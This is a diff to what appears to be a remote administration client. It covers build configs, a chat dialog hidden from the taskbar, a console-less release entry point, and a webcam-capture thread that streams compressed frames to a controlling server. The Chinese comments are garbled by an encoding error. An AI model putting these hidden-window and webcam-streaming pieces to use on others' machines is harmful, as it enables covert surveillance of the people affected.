// <20>Ƴ<EFBFBD> WS_EX_APPWINDOW <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WS_EX_TOOLWINDOW <20><>ʽ
|
||||||
|
exStyle &= ~WS_EX_APPWINDOW;
|
||||||
|
exStyle |= WS_EX_TOOLWINDOW;
|
||||||
|
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
||||||
|
|
||||||
OnInitDialog(hDlg);
|
OnInitDialog(hDlg);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case WM_COMMAND:
|
||||||
|
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
|
||||||
|
{
|
||||||
|
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||||
|
BYTE bToken = TOKEN_TALKCMPLT;
|
||||||
|
g_IOCPClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
EndDialog(hDlg, LOWORD(wParam));
|
||||||
|
return (INT_PTR)TRUE;
|
||||||
|
}
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
@@ -126,7 +143,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
|
|||||||
{
|
{
|
||||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||||
EndDialog(hDlg,0);
|
EndDialog(hDlg,0);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
<Configuration>Debug</Configuration>
|
<Configuration>Debug</Configuration>
|
||||||
@@ -13,18 +13,19 @@
|
|||||||
<PropertyGroup Label="Globals">
|
<PropertyGroup Label="Globals">
|
||||||
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||||
<RootNamespace>TestRun</RootNamespace>
|
<RootNamespace>TestRun</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
<PlatformToolset>v110_xp</PlatformToolset>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
<PlatformToolset>v110_xp</PlatformToolset>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
@@ -38,7 +39,14 @@
|
|||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup />
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||||
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
@@ -49,6 +57,7 @@
|
|||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -65,6 +74,8 @@
|
|||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<RemoteDebuggerCommand>C:\Users\win7\Desktop\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
<RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||||
<RemoteDebuggerWorkingDirectory>C:\Users\win7\Desktop\Remoter</RemoteDebuggerWorkingDirectory>
|
<RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
|
||||||
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
|
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
|
||||||
<DeploymentDirectory>C:\Users\win7\Desktop\Remoter</DeploymentDirectory>
|
<DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
|
||||||
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
|
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
|
||||||
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
|
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
|||||||
98
client/TestRun_vs2015.vcxproj
Normal file
@@ -0,0 +1,98 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||||
|
<RootNamespace>TestRun</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
<ProjectName>TestRun</ProjectName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
|
||||||
|
<IntDir>$(Configuration)\test</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
|
||||||
|
<IntDir>$(Configuration)\test</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
|
<MinimalRebuild>false</MinimalRebuild>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
|
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="test.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="resource1.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="TestRun.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
@@ -20,6 +20,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientO
|
|||||||
m_fccHandler = 1129730893;
|
m_fccHandler = 1129730893;
|
||||||
|
|
||||||
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
|
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
|
||||||
|
lpBuffer = NULL;
|
||||||
|
|
||||||
m_hWorkThread = CreateThread(NULL, 0,
|
m_hWorkThread = CreateThread(NULL, 0,
|
||||||
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
||||||
@@ -34,22 +35,35 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
|||||||
if (This->Initialize()) //ת<><D7AA>Initialize
|
if (This->Initialize()) //ת<><D7AA>Initialize
|
||||||
{
|
{
|
||||||
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
|
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
|
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||||
|
|
||||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
This->WaitForDialogOpen();
|
This->WaitForDialogOpen();
|
||||||
|
#if USING_ZLIB
|
||||||
|
const int fps = 8;// ֡<><D6A1>
|
||||||
|
#elif USING_LZ4
|
||||||
|
const int fps = 8;// ֡<><D6A1>
|
||||||
|
#else
|
||||||
|
const int fps = 8;// ֡<><D6A1>
|
||||||
|
#endif
|
||||||
|
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||||||
|
|
||||||
|
timeBeginPeriod(1);
|
||||||
while (This->m_bIsWorking)
|
while (This->m_bIsWorking)
|
||||||
{
|
{
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||||
if ((GetTickCount() - dwLastScreen) < 150)
|
int span = sleep-(GetTickCount64() - dwLastScreen);
|
||||||
Sleep(100);
|
Sleep(span > 0 ? span : 1);
|
||||||
|
if (span < 0)
|
||||||
dwLastScreen = GetTickCount();
|
printf("SendScreen Span = %d ms\n", span);
|
||||||
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD>
|
dwLastScreen = GetTickCount64();
|
||||||
|
if(FALSE == This->SendNextScreen())
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
timeEndPeriod(1);
|
||||||
|
|
||||||
This->Destroy();
|
This->Destroy();
|
||||||
std::cout<<"CVideoManager WorkThread end\n";
|
std::cout<<"CVideoManager WorkThread end\n";
|
||||||
@@ -60,7 +74,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
|||||||
CVideoManager::~CVideoManager()
|
CVideoManager::~CVideoManager()
|
||||||
{
|
{
|
||||||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||||
|
m_CapVideo.m_bExit = TRUE;
|
||||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||||
CloseHandle(m_hWorkThread);
|
CloseHandle(m_hWorkThread);
|
||||||
std::cout<<"CVideoManager ~CVideoManager \n";
|
std::cout<<"CVideoManager ~CVideoManager \n";
|
||||||
@@ -69,10 +83,13 @@ CVideoManager::~CVideoManager()
|
|||||||
delete m_pVideoCodec;
|
delete m_pVideoCodec;
|
||||||
m_pVideoCodec = NULL;
|
m_pVideoCodec = NULL;
|
||||||
}
|
}
|
||||||
|
if (lpBuffer)
|
||||||
|
delete [] lpBuffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CVideoManager::Destroy()
|
void CVideoManager::Destroy()
|
||||||
{
|
{
|
||||||
|
m_bIsWorking = FALSE;
|
||||||
std::cout<<"CVideoManager Destroy \n";
|
std::cout<<"CVideoManager Destroy \n";
|
||||||
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||||
{
|
{
|
||||||
@@ -83,26 +100,25 @@ void CVideoManager::Destroy()
|
|||||||
|
|
||||||
void CVideoManager::SendBitMapInfor()
|
void CVideoManager::SendBitMapInfor()
|
||||||
{
|
{
|
||||||
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
|
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||||
LPBYTE szBuffer = new BYTE[dwBytesLength];
|
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||||
if (szBuffer == NULL)
|
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||||
return;
|
|
||||||
|
|
||||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
|
|
||||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||||
delete [] szBuffer;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void CVideoManager::SendNextScreen()
|
BOOL CVideoManager::SendNextScreen()
|
||||||
{
|
{
|
||||||
DWORD dwBmpImageSize=0;
|
DWORD dwBmpImageSize=0;
|
||||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB();
|
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
|
||||||
// token + IsCompress + m_fccHandler + DIB
|
if(lpDIB == NULL)
|
||||||
int nHeadLen = 1 + 1 + 4;
|
return FALSE;
|
||||||
|
|
||||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
|
// token + IsCompress + m_fccHandler + DIB
|
||||||
LPBYTE lpBuffer = new BYTE[nBufferLen];
|
const int nHeadLen = 1 + 1 + 4;
|
||||||
|
|
||||||
|
UINT nBufferLen = nHeadLen + dwBmpImageSize;
|
||||||
|
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
|
||||||
|
|
||||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||||
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
|
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
|
||||||
@@ -120,8 +136,7 @@ void CVideoManager::SendNextScreen()
|
|||||||
if (!nCompressLen)
|
if (!nCompressLen)
|
||||||
{
|
{
|
||||||
// some thing error
|
// some thing error
|
||||||
delete [] lpBuffer;
|
return FALSE;
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㷢<EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㷢<EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
|
||||||
@@ -137,7 +152,7 @@ void CVideoManager::SendNextScreen()
|
|||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
|
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
|
||||||
|
|
||||||
delete [] lpBuffer;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -150,6 +165,20 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
NotifyDialogIsOpen();
|
NotifyDialogIsOpen();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
|
{
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (m_pVideoCodec)
|
||||||
|
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
||||||
|
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD>
|
||||||
|
{
|
||||||
|
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
||||||
|
printf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ public:
|
|||||||
HANDLE m_hWorkThread;
|
HANDLE m_hWorkThread;
|
||||||
|
|
||||||
void SendBitMapInfor();
|
void SendBitMapInfor();
|
||||||
void SendNextScreen();
|
BOOL SendNextScreen();
|
||||||
static DWORD WorkThread(LPVOID lParam);
|
static DWORD WorkThread(LPVOID lParam);
|
||||||
|
|
||||||
CCaptureVideo m_CapVideo;
|
CCaptureVideo m_CapVideo;
|
||||||
@@ -32,6 +32,7 @@ public:
|
|||||||
|
|
||||||
DWORD m_fccHandler;
|
DWORD m_fccHandler;
|
||||||
bool m_bIsCompress;
|
bool m_bIsCompress;
|
||||||
|
